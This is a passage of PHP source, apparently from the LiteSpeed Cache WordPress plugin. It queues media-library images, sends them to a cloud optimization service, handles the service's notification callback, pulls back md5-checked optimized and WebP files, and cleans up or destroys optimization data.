`$this->_table_img_optming` WHERE optm_status IN (%d, %d)"; $q = $wpdb->prepare($q, array(self::STATUS_NEW, self::STATUS_RAW)); $total_new = $wpdb->get_var($q); // $allowance -= $total_new; // May need to get more images $list = array(); $more = $allowance - $total_new; if ($more > 0) { $q = "SELECT b.post_id, b.meta_value FROM `$wpdb->posts` a LEFT JOIN `$wpdb->postmeta` b ON b.post_id = a.ID WHERE b.meta_key = '_wp_attachment_metadata' AND a.post_type = 'attachment' AND a.post_status = 'inherit' AND a.ID>%d AND a.post_mime_type IN ('image/jpeg', 'image/png', 'image/gif') ORDER BY a.ID LIMIT %d "; $q = $wpdb->prepare($q, array($this->_summary['next_post_id'], $more)); $list = $wpdb->get_results($q); foreach ($list as $v) { if (!$v->post_id) { continue; } $this->_summary['next_post_id'] = $v->post_id; $meta_value = $this->_parse_wp_meta_value($v); if (!$meta_value) { continue; } $meta_value['file'] = wp_normalize_path($meta_value['file']); $basedir = $this->wp_upload_dir['basedir'] . '/'; if (strpos($meta_value['file'], $basedir) === 0) { $meta_value['file'] = substr($meta_value['file'], strlen($basedir)); } $this->tmp_pid = $v->post_id; $this->tmp_path = pathinfo($meta_value['file'], PATHINFO_DIRNAME) . '/'; $this->_append_img_queue($meta_value, true); if (!empty($meta_value['sizes'])) { array_map(array($this, '_append_img_queue'), $meta_value['sizes']); } } self::save_summary(); $num_a = count($this->_img_in_queue); self::debug('Images found: ' . $num_a); $this->_filter_duplicated_src(); self::debug('Images after duplicated: ' . count($this->_img_in_queue)); $this->_filter_invalid_src(); self::debug('Images after invalid: ' . count($this->_img_in_queue)); // Check w/ legacy imgoptm table, bypass finished images $this->_filter_legacy_src(); $num_b = count($this->_img_in_queue); if ($num_b != $num_a) { self::debug('Images after filtered duplicated/invalid/legacy src: ' . $num_b); } // Save to DB $this->_save_raw(); } // Push to Cloud server $accepted_imgs = $this->_send_request($allowance); $this->_finished_running(); if (!$accepted_imgs) { return; } $placeholder1 = Admin_Display::print_plural($accepted_imgs[0], 'image'); $placeholder2 = Admin_Display::print_plural($accepted_imgs[1], 'image'); $msg = sprintf(__('Pushed %1$s to Cloud server, accepted %2$s.', 'litespeed-cache'), $placeholder1, $placeholder2); Admin_Display::succeed($msg); } /** * Set running to done */ private function _finished_running() { $this->_summary['is_running'] = 0; self::save_summary(); } /** * Add a new img to queue which will be pushed to request * * @since 1.6 * @access private */ private function _append_img_queue($meta_value, $is_ori_file = false) { if (empty($meta_value['file']) || empty($meta_value['width']) || empty($meta_value['height'])) { self::debug2('bypass image due to lack of file/w/h: pid ' . $this->tmp_pid, $meta_value); return; } $short_file_path = $meta_value['file']; if (!$is_ori_file) { $short_file_path = $this->tmp_path . $short_file_path; } // Check if src is gathered already or not if (in_array($this->tmp_pid . '.' . $short_file_path, $this->_existed_src_list)) { // Debug2::debug2( '[Img_Optm] bypass image due to gathered: pid ' . $this->tmp_pid . ' ' . $short_file_path ); return; } else { // Append handled images $this->_existed_src_list[] = $this->tmp_pid . '.' . $short_file_path; } // check file exists or not $_img_info = $this->__media->info($short_file_path, $this->tmp_pid); if (!$_img_info || !in_array(pathinfo($short_file_path, PATHINFO_EXTENSION), array('jpg', 'jpeg', 'png', 'gif'))) { self::debug2('bypass image due to file not exist: pid ' . $this->tmp_pid . ' ' . $short_file_path); return; } // Debug2::debug2( '[Img_Optm] adding image: pid ' . $this->tmp_pid ); $this->_img_in_queue[] = array( 'pid' => $this->tmp_pid, 'md5' => $_img_info['md5'], 'url' => $_img_info['url'], 'src' => $short_file_path, // not needed in LiteSpeed IAPI, just leave for local storage after post 'mime_type' => !empty($meta_value['mime-type']) ? $meta_value['mime-type'] : '', ); } /** * Save gathered image raw data * * @since 3.0 */ private function _save_raw() { if (empty($this->_img_in_queue)) { return; } $data = array(); $pid_list = array(); foreach ($this->_img_in_queue as $k => $v) { $_img_info = $this->__media->info($v['src'], $v['pid']); // attachment doesn't exist, delete the record if (empty($_img_info['url']) || empty($_img_info['md5'])) { unset($this->_img_in_queue[$k]); continue; } $pid_list[] = (int) $v['pid']; $data[] = $v['pid']; $data[] = self::STATUS_RAW; $data[] = $v['src']; } global $wpdb; $fields = 'post_id, optm_status, src'; $q = "INSERT INTO `$this->_table_img_optming` ( $fields ) VALUES "; // Add placeholder $q .= Utility::chunk_placeholder($data, $fields); // Store data $wpdb->query($wpdb->prepare($q, $data)); $count = count($this->_img_in_queue); self::debug('Added raw images [total] ' . $count); $this->_img_in_queue = array(); // Save thumbnail groups for future rescan index $this->_gen_thumbnail_set(); $pid_list = array_unique($pid_list); self::debug('pid list to append to postmeta', $pid_list); $pid_list = array_diff($pid_list, $this->_pids_set); $this->_pids_set = array_merge($this->_pids_set, $pid_list); $existed_meta = $wpdb->get_results("SELECT * FROM `$wpdb->postmeta` WHERE post_id IN ('" . implode("','", $pid_list) . "') AND meta_key='" . self::DB_SET . "'"); $existed_pid = array(); if ($existed_meta) { foreach ($existed_meta as $v) { $existed_pid[] = $v->post_id; } self::debug('pid list to update postmeta', $existed_pid); $wpdb->query( $wpdb->prepare("UPDATE `$wpdb->postmeta` SET meta_value=%s WHERE post_id IN ('" . implode("','", $existed_pid) . "') AND meta_key=%s", array( $this->_thumbnail_set, self::DB_SET, )) ); } # Add new meta $new_pids = $existed_pid ? array_diff($pid_list, $existed_pid) : $pid_list; if ($new_pids) { self::debug('pid list to update postmeta', $new_pids); foreach ($new_pids as $v) { self::debug('New group set info [pid] ' . $v); $q = "INSERT INTO `$wpdb->postmeta` (post_id, meta_key, meta_value) VALUES (%d, %s, %s)"; $wpdb->query($wpdb->prepare($q, array($v, self::DB_SET, $this->_thumbnail_set))); } } } /** * Generate thumbnail sets of current image group * * @since 5.4 */ private function _gen_thumbnail_set() { if ($this->_thumbnail_set) { return; } $set = array(); foreach (Media::cls()->get_image_sizes() as $size) { $curr_size = $size['width'] . 'x' . $size['height']; if (in_array($curr_size, $set)) { continue; } $set[] = $curr_size; } $this->_thumbnail_set = implode(PHP_EOL, $set); } /** * Filter duplicated src in work table and $this->_img_in_queue, then mark them as duplicated * * @since 2.0 * @access private */ private function _filter_duplicated_src() { global $wpdb; $srcpath_list = array(); $list = $wpdb->get_results("SELECT src FROM `$this->_table_img_optming`"); foreach ($list as $v) { $srcpath_list[] = $v->src; } foreach ($this->_img_in_queue as $k => $v) { if (in_array($v['src'], $srcpath_list)) { unset($this->_img_in_queue[$k]); continue; } $srcpath_list[] = $v['src']; } } /** * Filter legacy finished ones * * @since 5.4 */ private function _filter_legacy_src() { global $wpdb; if (!$this->__data->tb_exist('img_optm')) { return; } if (!$this->_img_in_queue) { return; } $finished_ids = array(); Utility::compatibility(); $post_ids = array_unique(array_column($this->_img_in_queue, 'pid')); $list = $wpdb->get_results("SELECT post_id FROM `$this->_table_img_optm` WHERE post_id in (" . implode(',', $post_ids) . ') GROUP BY post_id'); foreach ($list as $v) { $finished_ids[] = $v->post_id; } foreach ($this->_img_in_queue as $k => $v) { if (in_array($v['pid'], $finished_ids)) { self::debug('Legacy image optimized [pid] ' . $v['pid']); unset($this->_img_in_queue[$k]); continue; } } // Drop all existing legacy records $wpdb->query("DELETE FROM `$this->_table_img_optm` WHERE post_id in (" . implode(',', $post_ids) . ')'); } /** * Filter the invalid src before sending * * @since 3.0.8.3 * @access private */ private function _filter_invalid_src() { $img_in_queue_invalid = array(); foreach ($this->_img_in_queue as $k => $v) { if ($v['src']) { $extension = pathinfo($v['src'], PATHINFO_EXTENSION); } if (!$v['src'] || empty($extension) || !in_array($extension, array('jpg', 'jpeg', 'png', 'gif'))) { $img_in_queue_invalid[] = $v['id']; unset($this->_img_in_queue[$k]); continue; } } if (!$img_in_queue_invalid) { return; } $count = count($img_in_queue_invalid); $msg = sprintf(__('Cleared %1$s invalid images.', 'litespeed-cache'), $count); Admin_Display::succeed($msg); self::debug('Found invalid src [total] ' . $count); } /** * Push img request to Cloud server * * @since 1.6.7 * @access private */ private function _send_request($allowance) { global $wpdb; $q = "SELECT id, src, post_id FROM `$this->_table_img_optming` WHERE optm_status=%d LIMIT %d"; $q = $wpdb->prepare($q, array(self::STATUS_RAW, $allowance)); $_img_in_queue = $wpdb->get_results($q); if (!$_img_in_queue) { return; } self::debug('Load img in queue [total] ' . count($_img_in_queue)); $list = array(); foreach ($_img_in_queue as $v) { /** * Filter `litespeed_img_optm_options_per_image` * @since 2.4.2 */ /** * $optm_options |= API::IMG_OPTM_BM_ORI; * $optm_options |= API::IMG_OPTM_BM_WEBP; * $optm_options |= API::IMG_OPTM_BM_LOSSLESS; * $optm_options |= API::IMG_OPTM_BM_EXIF; */ $optm_options = apply_filters('litespeed_img_optm_options_per_image', 0, $v->src); $_img_info = $this->__media->info($v->src, $v->post_id); # If record is invalid, remove from img_optming table if (empty($_img_info['url']) || empty($_img_info['md5'])) { $wpdb->query($wpdb->prepare("DELETE FROM `$this->_table_img_optming` WHERE id=%d", $v->id)); continue; } $img = array( 'id' => $v->id, 'url' => $_img_info['url'], 'md5' => $_img_info['md5'], ); if ($optm_options) { $img['optm_options'] = $optm_options; } $list[] = $img; } if (!$list) { $msg = __('No valid image found in the current request.', 'litespeed-cache'); Admin_Display::error($msg); return; } $data = array( 'action' => self::CLOUD_ACTION_NEW_REQ, 'list' => \json_encode($list), 'optm_ori' => $this->conf(self::O_IMG_OPTM_ORI) ? 1 : 0, 'optm_webp' => $this->conf(self::O_IMG_OPTM_WEBP) ? 1 : 0, 'optm_lossless' => $this->conf(self::O_IMG_OPTM_LOSSLESS) ? 1 : 0, 'keep_exif' => $this->conf(self::O_IMG_OPTM_EXIF) ? 1 : 0, ); // Push to Cloud server $json = Cloud::post(Cloud::SVC_IMG_OPTM, $data); if (!$json) { return; } // Check data format if (empty($json['ids'])) { self::debug('Failed to parse response data from Cloud server ', $json); $msg = __('No valid image found by Cloud server in the current request.', 'litespeed-cache'); Admin_Display::error($msg); return; } self::debug('Returned data from Cloud server count: ' . count($json['ids'])); $ids = implode(',', array_map('intval', $json['ids'])); // Update img table $q = "UPDATE `$this->_table_img_optming` SET optm_status = '" . self::STATUS_REQUESTED . "' WHERE id IN ( $ids )"; $wpdb->query($q); $this->_summary['last_requested'] = time(); self::save_summary(); return array(count($list), count($json['ids'])); } /** * Cloud server notify Client img status changed * * @access public */ public function notify_img() { // Interval validation to avoid hacking domain_key if (!empty($this->_summary['notify_ts_err']) && time() - $this->_summary['notify_ts_err'] < 3) { return Cloud::err('too_often'); } $post_data = \json_decode(file_get_contents('php://input'), true); if (is_null($post_data)) { $post_data = $_POST; } // Validate key if (empty($post_data['domain_key']) || $post_data['domain_key'] !== md5($this->conf(self::O_API_KEY))) { $this->_summary['notify_ts_err'] = time(); self::save_summary(); return Cloud::err('wrong_key'); } global $wpdb; $notified_data = $post_data['data']; if (empty($notified_data) || !is_array($notified_data)) { self::debug('❌ notify exit: no notified data'); return Cloud::err('no notified data'); } if (empty($post_data['server']) || (substr($post_data['server'], -11) !== '.quic.cloud' && substr($post_data['server'], -15) !== '.quicserver.com')) { self::debug('notify exit: no/wrong server'); return Cloud::err('no/wrong server'); } if (empty($post_data['status'])) { self::debug('notify missing status'); return Cloud::err('no status'); } $status = $post_data['status']; self::debug('notified status=' . $status); $last_log_pid = 0; if (empty($this->_summary['reduced'])) { $this->_summary['reduced'] = 0; } if ($status == self::STATUS_NOTIFIED) { // Notified data format: [ img_optm_id => [ id=>, src_size=>, ori=>, ori_md5=>, ori_reduced=>, webp=>, webp_md5=>, webp_reduced=> ] ] $q = "SELECT a.*, b.meta_id as b_meta_id, b.meta_value AS b_optm_info FROM `$this->_table_img_optming` a LEFT JOIN `$wpdb->postmeta` b ON b.post_id = a.post_id AND b.meta_key = %s WHERE a.id IN ( " . implode(',', array_fill(0, count($notified_data), '%d')) . ' )'; $list = $wpdb->get_results($wpdb->prepare($q, array_merge(array(self::DB_SIZE), array_keys($notified_data)))); $ls_optm_size_row_exists_postids = array(); foreach ($list as $v) { $json = $notified_data[$v->id]; $server = !empty($json['server']) ? $json['server'] : $post_data['server']; $server_info = array( 'server' => $server, ); // Save server side ID to send taken notification after pulled $server_info['id'] = $json['id']; if (!empty($json['file_id'])) { $server_info['file_id'] = $json['file_id']; } // Optm info array $postmeta_info = array( 'ori_total' => 0, 'ori_saved' => 0, 'webp_total' => 0, 'webp_saved' => 0, ); // Init postmeta_info for the first one if (!empty($v->b_meta_id)) { foreach (maybe_unserialize($v->b_optm_info) as $k2 => $v2) { $postmeta_info[$k2] += $v2; } } if (!empty($json['ori'])) { $server_info['ori_md5'] = $json['ori_md5']; $server_info['ori'] = $json['ori']; // Append meta info $postmeta_info['ori_total'] += $json['src_size']; $postmeta_info['ori_saved'] += $json['ori_reduced']; // optimized image size info in img_optm tb will be updated when pull $this->_summary['reduced'] += $json['ori_reduced']; } if (!empty($json['webp'])) { $server_info['webp_md5'] = $json['webp_md5']; $server_info['webp'] = $json['webp']; // Append meta info $postmeta_info['webp_total'] += $json['src_size']; $postmeta_info['webp_saved'] += $json['webp_reduced']; $this->_summary['reduced'] += $json['webp_reduced']; } // Update status and data in working table $q = "UPDATE `$this->_table_img_optming` SET optm_status = %d, server_info = %s WHERE id = %d "; $wpdb->query($wpdb->prepare($q, array($status, \json_encode($server_info), $v->id))); // Update postmeta for optm summary $postmeta_info = serialize($postmeta_info); if (empty($v->b_meta_id) && !in_array($v->post_id, $ls_optm_size_row_exists_postids)) { self::debug('New size info [pid] ' . $v->post_id); $q = "INSERT INTO `$wpdb->postmeta` ( post_id, meta_key, meta_value ) VALUES ( %d, %s, %s )"; $wpdb->query($wpdb->prepare($q, array($v->post_id, self::DB_SIZE, $postmeta_info))); $ls_optm_size_row_exists_postids[] = $v->post_id; } else { $q = "UPDATE `$wpdb->postmeta` SET meta_value = %s WHERE meta_id = %d "; $wpdb->query($wpdb->prepare($q, array($postmeta_info, $v->b_meta_id))); } // write log $pid_log = $last_log_pid == $v->post_id ? '.' : $v->post_id; self::debug('notify_img [status] ' . $status . " \t\t[pid] " . $pid_log . " \t\t[id] " . $v->id); $last_log_pid = $v->post_id; } self::save_summary(); // Mark need_pull tag for cron self::update_option(self::DB_NEED_PULL, self::STATUS_NOTIFIED); } else { // Other errors will directly remove the working records // Delete from working table $q = "DELETE FROM `$this->_table_img_optming` WHERE id IN ( " . implode(',', array_fill(0, count($notified_data), '%d')) . ' ) '; $wpdb->query($wpdb->prepare($q, $notified_data)); } return Cloud::ok(array('count' => count($notified_data))); } /** * Cron start async req * * @since 5.5 */ public static function start_async_cron() { Task::async_call('imgoptm'); } /** * Manually start async req * * @since 5.5 */ public static function start_async() { Task::async_call('imgoptm_force'); $msg = __('Started async image optimization request', 'litespeed-cache'); Admin_Display::success($msg); } /** * Ajax req handler * * @since 5.5 */ public static function async_handler($force = false) { self::debug('------------async-------------start_async_handler'); $tag = self::get_option(self::DB_NEED_PULL); if (!$tag || $tag != self::STATUS_NOTIFIED) { self::debug('❌ no need pull [tag] ' . $tag); return; } self::cls()->pull($force); } /** * Calculate pull theads * * @since 5.8 * @access private */ private function _calc_pull_threads() { global $wpdb; // Tune number of images per request based on number of images waiting and cloud packages $imgs_per_req = 1; // base 1, ramp up to ~50 max // Ramp up the request rate based on how many images are waiting $c = "SELECT count(id) FROM `$this->_table_img_optming` WHERE optm_status = %d"; $_c = $wpdb->prepare($c, array(self::STATUS_NOTIFIED)); $images_waiting = $wpdb->get_var($_c); if ($images_waiting && $images_waiting > 0) { $imgs_per_req = ceil($images_waiting / 1000); //ie. download 5/request if 5000 images are waiting } // Increase the request rate if the user has purchased addon packages $has_jumbo_pkg = Cloud::cls()->has_pkg(Cloud::SVC_IMG_OPTM, Cloud::BM_IMG_OPTM_JUMBO_GROUP); $has_prio_pkg = Cloud::cls()->has_pkg(Cloud::SVC_IMG_OPTM, Cloud::BM_IMG_OPTM_PRIO); if ($has_jumbo_pkg) { self::debug('Jumbo package detected.'); $imgs_per_req += self::JUMBO_REQUEST_BONUS; } if ($has_prio_pkg) { self::debug('Priority Line package detected.'); $imgs_per_req += self::PRIO_REQUEST_BONUS; } // Cap the request rate at 50 images per request $imgs_per_req = min(50, $imgs_per_req); self::debug('Pulling images at rate: ' . $imgs_per_req . ' Images per request.'); return $imgs_per_req; } /** * Pull optimized img * * @since 1.6 * @access public */ public function pull($manual = false) { global $wpdb; $timeoutLimit = ini_get('max_execution_time'); $endts = time() + $timeoutLimit; self::debug('' . ($manual ? 'Manually' : 'Cron') . ' pull started [timeout: ' . $timeoutLimit . 's]'); if ($this->cron_running()) { self::debug('Pull cron is running'); $msg = __('Pull Cron is running', 'litespeed-cache'); Admin_Display::note($msg); return; } $this->_summary['last_pulled'] = time(); $this->_summary['last_pulled_by_cron'] = !$manual; self::save_summary(); $imgs_per_req = $this->_calc_pull_threads(); $q = "SELECT * FROM `$this->_table_img_optming` WHERE optm_status = %d ORDER BY id LIMIT %d"; $_q = $wpdb->prepare($q, array(self::STATUS_NOTIFIED, $imgs_per_req)); $rm_ori_bkup = $this->conf(self::O_IMG_OPTM_RM_BKUP); $total_pulled_ori = 0; $total_pulled_webp = 0; $server_list = array(); try { while ($img_rows = $wpdb->get_results($_q)) { self::debug('timeout left: ' . ($endts - time()) . 's'); if (function_exists('set_time_limit')) { $endts += 600; self::debug('Endtime extended to ' . date('Ymd H:i:s', $endts)); set_time_limit(600); // This will be no more important as we use noabort now } // Disabled as we use noabort // if ($endts - time() < 10) { // self::debug("🚨 End loop due to timeout limit reached " . $timeoutLimit . "s"); // break; // } /** * Update cron timestamp to avoid duplicated running * @since 1.6.2 */ $this->_update_cron_running(); // Run requests in parallel $requests = array(); // store each request URL for Requests::request_multiple() $imgs_by_req = array(); // store original request data so that we can reference it in the response $req_counter = 0; foreach ($img_rows as $row_img) { // request original image $server_info = \json_decode($row_img->server_info, true); if (!empty($server_info['ori'])) { $image_url = $server_info['server'] . '/' . $server_info['ori']; self::debug('Queueing pull: ' . $image_url); $requests[$req_counter] = array( 'url' => $image_url, 'type' => 'GET', ); $imgs_by_req[$req_counter++] = array( 'type' => 'ori', 'data' => $row_img, ); } // request webp image $webp_size = 0; if (!empty($server_info['webp'])) { $image_url = $server_info['server'] . '/' . $server_info['webp']; self::debug('Queueing pull WebP: ' . $image_url); $requests[$req_counter] = array( 'url' => $image_url, 'type' => 'GET', ); $imgs_by_req[$req_counter++] = array( 'type' => 'webp', 'data' => $row_img, ); } } self::debug('Loaded images count: ' . $req_counter); $complete_action = function ($response, $req_count) use ($imgs_by_req, $rm_ori_bkup, &$total_pulled_ori, &$total_pulled_webp, &$server_list) { global $wpdb; $row_data = isset($imgs_by_req[$req_count]) ? $imgs_by_req[$req_count] : false; if (false === $row_data) { self::debug('❌ failed to pull image: Request not found in lookup variable.'); return; } $row_type = isset($row_data['type']) ? $row_data['type'] : 'ori'; $row_img = $row_data['data']; $local_file = $this->wp_upload_dir['basedir'] . '/' . $row_img->src; $server_info = \json_decode($row_img->server_info, true); if (empty($response->success)) { if (!empty($response->status_code) && 404 == $response->status_code) { $this->_step_back_image($row_img->id); $msg = __('Some optimized image file(s) has expired and was cleared.', 'litespeed-cache'); Admin_Display::error($msg); return; } else { // handle error $image_url = $server_info['server'] . '/' . $server_info[$row_type]; self::debug( '❌ failed to pull image (' . $row_type . '): ' . (!empty($response->status_code) ? $response->status_code : '') . ' [Local: ' . $row_img->src . '] / [remote: ' . $image_url . ']' ); throw new \Exception('Failed to pull image ' . (!empty($response->status_code) ? $response->status_code : '') . ' [url] ' . $image_url); return; } } // Handle wp_remote_get 404 as its success=true if (!empty($response->status_code)) { if ($response->status_code == 404) { $this->_step_back_image($row_img->id); $msg = __('Some optimized image file(s) has expired and was cleared.', 'litespeed-cache'); Admin_Display::error($msg); return; } // Note: if there is other error status code found in future, handle here } if ('webp' === $row_type) { file_put_contents($local_file . '.webp', $response->body); if (!file_exists($local_file . '.webp') || !filesize($local_file . '.webp') || md5_file($local_file . '.webp') !== $server_info['webp_md5']) { self::debug('❌ Failed to pull optimized webp img: file md5 mismatch, server md5: ' . $server_info['webp_md5']); // Delete working table $q = "DELETE FROM `$this->_table_img_optming` WHERE id = %d "; $wpdb->query($wpdb->prepare($q, $row_img->id)); $msg = __('Pulled WebP image md5 does not match the notified WebP image md5.', 'litespeed-cache'); Admin_Display::error($msg); return; } self::debug('Pulled optimized img WebP: ' . $local_file . '.webp'); $webp_size = filesize($local_file . '.webp'); /** * API for WebP * @since 2.9.5 * @since 3.0 $row_img less elements (see above one) * @see #751737 - API docs for WEBP generation */ do_action('litespeed_img_pull_webp', $row_img, $local_file . '.webp'); $total_pulled_webp++; } else { // "ori" image type file_put_contents($local_file . '.tmp', $response->body); if (!file_exists($local_file . '.tmp') || !filesize($local_file . '.tmp') || md5_file($local_file . '.tmp') !== $server_info['ori_md5']) { self::debug( '❌ Failed to pull optimized img: file md5 mismatch [url] ' . $server_info['server'] . '/' . $server_info['ori'] . ' [server_md5] ' . $server_info['ori_md5'] ); // Delete working table $q = "DELETE FROM `$this->_table_img_optming` WHERE id = %d "; $wpdb->query($wpdb->prepare($q, $row_img->id)); $msg = __('One or more pulled images does not match with the notified image md5', 'litespeed-cache'); Admin_Display::error($msg); return; } // Backup ori img if (!$rm_ori_bkup) { $extension = pathinfo($local_file, PATHINFO_EXTENSION); $bk_file = substr($local_file, 0, -strlen($extension)) . 'bk.' . $extension; file_exists($local_file) && rename($local_file, $bk_file); } // Replace ori img rename($local_file . '.tmp', $local_file); self::debug('Pulled optimized img: ' . $local_file); /** * API Hook * @since 2.9.5 * @since 3.0 $row_img has less elements now. Most useful ones are `post_id`/`src` */ do_action('litespeed_img_pull_ori', $row_img, $local_file); self::debug2('Remove _table_img_optming record [id] ' . $row_img->id); } // Delete working table $q = "DELETE FROM `$this->_table_img_optming` WHERE id = %d "; $wpdb->query($wpdb->prepare($q, $row_img->id)); // Save server_list to notify taken if (empty($server_list[$server_info['server']])) { $server_list[$server_info['server']] = array(); } $server_info_id = !empty($server_info['file_id']) ? $server_info['file_id'] : $server_info['id']; $server_list[$server_info['server']][] = $server_info_id; $total_pulled_ori++; }; if (class_exists('\WpOrg\Requests\Requests') && class_exists('\WpOrg\Requests\Autoload') && version_compare(PHP_VERSION, '5.6.0', '>=')) { // Make sure Requests can load internal classes. Autoload::register(); // Run pull requests in parallel Requests::request_multiple($requests, array( 'timeout' => 60, 'connect_timeout' => 60, 'complete' => $complete_action, )); } else { foreach ($requests as $cnt => $req) { $wp_response = wp_remote_get($req['url'], array('timeout' => 60)); $request_response = array( 'success' => false, 'status_code' => 0, 'body' => null, ); if (is_wp_error($wp_response)) { $error_message = $wp_response->get_error_message(); self::debug('❌ failed to pull image: ' . $error_message); } else { $request_response['success'] = true; $request_response['status_code'] = $wp_response['response']['code']; $request_response['body'] = $wp_response['body']; } self::debug('response code [code] ' . $wp_response['response']['code'] . ' [url] ' . $req['url']); $request_response = (object) $request_response; $complete_action($request_response, $cnt); } } self::debug('Current batch pull finished'); } } catch (\Exception $e) { Admin_Display::error('Image pull process failure: ' . $e->getMessage()); } // Notify IAPI images taken foreach ($server_list as $server => $img_list) { $data = array( 'action' => self::CLOUD_ACTION_TAKEN, 'list' => $img_list, 'server' => $server, ); // TODO: improve this so we do not call once per server, but just once and then filter on the server side Cloud::post(Cloud::SVC_IMG_OPTM, $data); } if (empty($this->_summary['img_taken'])) { $this->_summary['img_taken'] = 0; } $this->_summary['img_taken'] += $total_pulled_ori + $total_pulled_webp; self::save_summary(); // Manually running needs to roll back timestamp for next running if ($manual) { $this->_update_cron_running(true); } // $msg = sprintf(__('Pulled %d image(s)', 'litespeed-cache'), $total_pulled_ori + $total_pulled_webp); // Admin_Display::succeed($msg); // Check if there is still task in queue $q = "SELECT * FROM `$this->_table_img_optming` WHERE optm_status = %d LIMIT 1"; $to_be_continued = $wpdb->get_row($wpdb->prepare($q, self::STATUS_NOTIFIED)); if ($to_be_continued) { self::debug('Task in queue, to be continued...'); return; // return Router::self_redirect(Router::ACTION_IMG_OPTM, self::TYPE_PULL); } // If all pulled, update tag to done self::debug('Marked pull status to all pulled'); self::update_option(self::DB_NEED_PULL, self::STATUS_PULLED); } /** * Push image back to previous status * * @since 3.0 * @access private */ private function _step_back_image($id) { global $wpdb; self::debug('Push image back to new status [id] ' . $id); // Reset the image to gathered status $q = "UPDATE `$this->_table_img_optming` SET optm_status = %d WHERE id = %d "; $wpdb->query($wpdb->prepare($q, array(self::STATUS_RAW, $id))); } /** * Parse wp's meta value * * @since 1.6.7 * @access private */ private function _parse_wp_meta_value($v) { if (empty($v)) { self::debug('bypassed parsing meta due to null value'); return false; } if (!$v->meta_value) { self::debug('bypassed parsing meta due to no meta_value: pid ' . $v->post_id); return false; } $meta_value = @maybe_unserialize($v->meta_value); if (!is_array($meta_value)) { self::debug('bypassed parsing meta due to meta_value not json: pid ' . $v->post_id); return false; } if (empty($meta_value['file'])) { self::debug('bypassed parsing meta due to no ori file: pid ' . $v->post_id); return false; } return $meta_value; } /** * Clean up all unfinished queue locally and to Cloud server * * @since 2.1.2 * @access public */ public function clean() { global $wpdb; // Reset img_optm table's queue if ($this->__data->tb_exist('img_optming')) { // Get min post id to mark $q = "SELECT MIN(post_id) FROM `$this->_table_img_optming`"; $min_pid = $wpdb->get_var($q) - 1; if ($this->_summary['next_post_id'] > $min_pid) { $this->_summary['next_post_id'] = $min_pid; self::save_summary(); } $q = "DELETE FROM `$this->_table_img_optming`"; $wpdb->query($q); } $msg = __('Cleaned up unfinished data successfully.', 'litespeed-cache'); Admin_Display::succeed($msg); } /** * Destroy all optimized images * * @since 3.0 * @access private */ private function _destroy() { global $wpdb; self::debug('executing DESTROY process'); $offset = !empty($_GET['litespeed_i']) ? $_GET['litespeed_i'] : 0; /** * Limit images each time before redirection to fix Out of memory issue. #665465 * @since 2.9.8 */ // Start deleting files $limit = apply_filters('litespeed_imgoptm_destroy_max_rows', 500); $img_q = "SELECT b.post_id, b.meta_value FROM `$wpdb->posts` a LEFT JOIN `$wpdb->postmeta` b ON b.post_id = a.ID WHERE b.meta_key = '_wp_attachment_metadata' AND a.post_type = 'attachment' AND a.post_status = 'inherit' AND a.post_mime_type IN ('image/jpeg', 'image/png', 'image/gif') ORDER BY a.ID LIMIT %d,%d "; $q = $wpdb->prepare($img_q, array($offset * $limit, $limit)); $list = $wpdb->get_results($q); $i = 0; foreach ($list as $v) { if (!$v->post_id) { continue; } $meta_value = $this->_parse_wp_meta_value($v); if (!$meta_value) { continue; } $i++; $this->tmp_pid = $v->post_id; $this->tmp_path = pathinfo($meta_value['file'], PATHINFO_DIRNAME) . '/'; $this->_destroy_optm_file($meta_value, true); if (!empty($meta_value['sizes'])) { array_map(array($this, '_destroy_optm_file'), $meta_value['sizes']); } } self::debug('batch switched images total: ' . $i); $offset++; $to_be_continued = $wpdb->get_row($wpdb->prepare($img_q, array($offset * $limit, 1))); if ($to_be_continued) { # Check if post_id is beyond next_post_id self::debug('[next_post_id] ' . $this->_summary['next_post_id'] . ' [cursor post id] ' . $to_be_continued->post_id); if ($to_be_continued->post_id <= $this->_summary['next_post_id']) { self::debug('redirecting to next'); return Router::self_redirect(Router::ACTION_IMG_OPTM, self::TYPE_DESTROY); } self::debug('🎊 Finished destroying'); } // Delete postmeta info $q = "DELETE FROM `$wpdb->postmeta` WHERE meta_key = %s"; $wpdb->query($wpdb->prepare($q, self::DB_SIZE)); $wpdb->query($wpdb->prepare($q, self::DB_SET)); // Delete img_optm table $this->__data->tb_del('img_optm'); $this->__data->tb_del('img_optming'); // Clear options table summary info self::delete_option('_summary'); self::delete_option(self::DB_NEED_PULL); $msg = __('Destroy all optimization data successfully.', 'litespeed-cache'); Admin_Display::succeed($msg); } /** * Destroy optm file */ private function _destroy_optm_file($meta_value, $is_ori_file = false) { $short_file_path = $meta_value['file']; if (!$is_ori_file) { $short_file_path = $this->tmp_path . $short_file_path; } self::debug('deleting ' . $short_file_path); // del webp $this->__media->info($short_file_path . '.webp', $this->tmp_pid) && $this->__media->del($short_file_path . '.webp', $this->tmp_pid); $this->__media->info($short_file_path . '.optm.webp', $this->tmp_pid) && $this->__media->del($short_file_path . '.optm.webp', $this->tmp_pid); $extension = pathinfo($short_file_path, PATHINFO_EXTENSION); $local_filename = substr($short_file_path, 0, -strlen($extension) - 1); $bk_file = $local_filename . '.bk.' . $extension; $bk_optm_file = $local_filename . '.bk.optm.' . $extension; // del optimized ori if ($this->__media->info($bk_file, $this->tmp_pid)) { self::debug('deleting optim ori'); $this->__media->del($short_file_path, $this->tmp_pid); $this->__media->rename($bk_file, $short_file_path, $this->tmp_pid); } $this->__media->info($bk_optm_file, $this->tmp_pid) && $this->__media->del($bk_optm_file, $this->tmp_pid); } /** * Rescan to find new generated images * * @since 1.6.7 * @access private */ private function _rescan() { global $wpdb; exit('tobedone'); $offset = !empty($_GET['litespeed_i']) ? $_GET['litespeed_i'] : 0; $limit = 500; self::debug('rescan images'); // Get images $q = "SELECT b.post_id, b.meta_value FROM `$wpdb->posts` a, `$wpdb->postmeta` b WHERE a.post_type = 'attachment' AND a.post_status = 'inherit' AND a.post_mime_type IN ('image/jpeg', 'image/png', 'image/gif') AND a.ID = b.post_id AND b.meta_key = '_wp_attachment_metadata' ORDER BY a.ID LIMIT %d, %d "; $list = $wpdb->get_results($wpdb->prepare($q, $offset * $limit, $limit + 1)); // last one is the seed for next batch if (!$list) { $msg = __('Rescanned successfully.', 'litespeed-cache'); Admin_Display::succeed($msg); self::debug('rescan bypass: no gathered image found'); return; } if (count($list) == $limit + 1) { $to_be_continued = true; array_pop($list); // last one is the seed for next round, discard here. } else { $to_be_continued = false; } // Prepare post_ids to inquery gathered images $pid_set = array(); $scanned_list = array(); 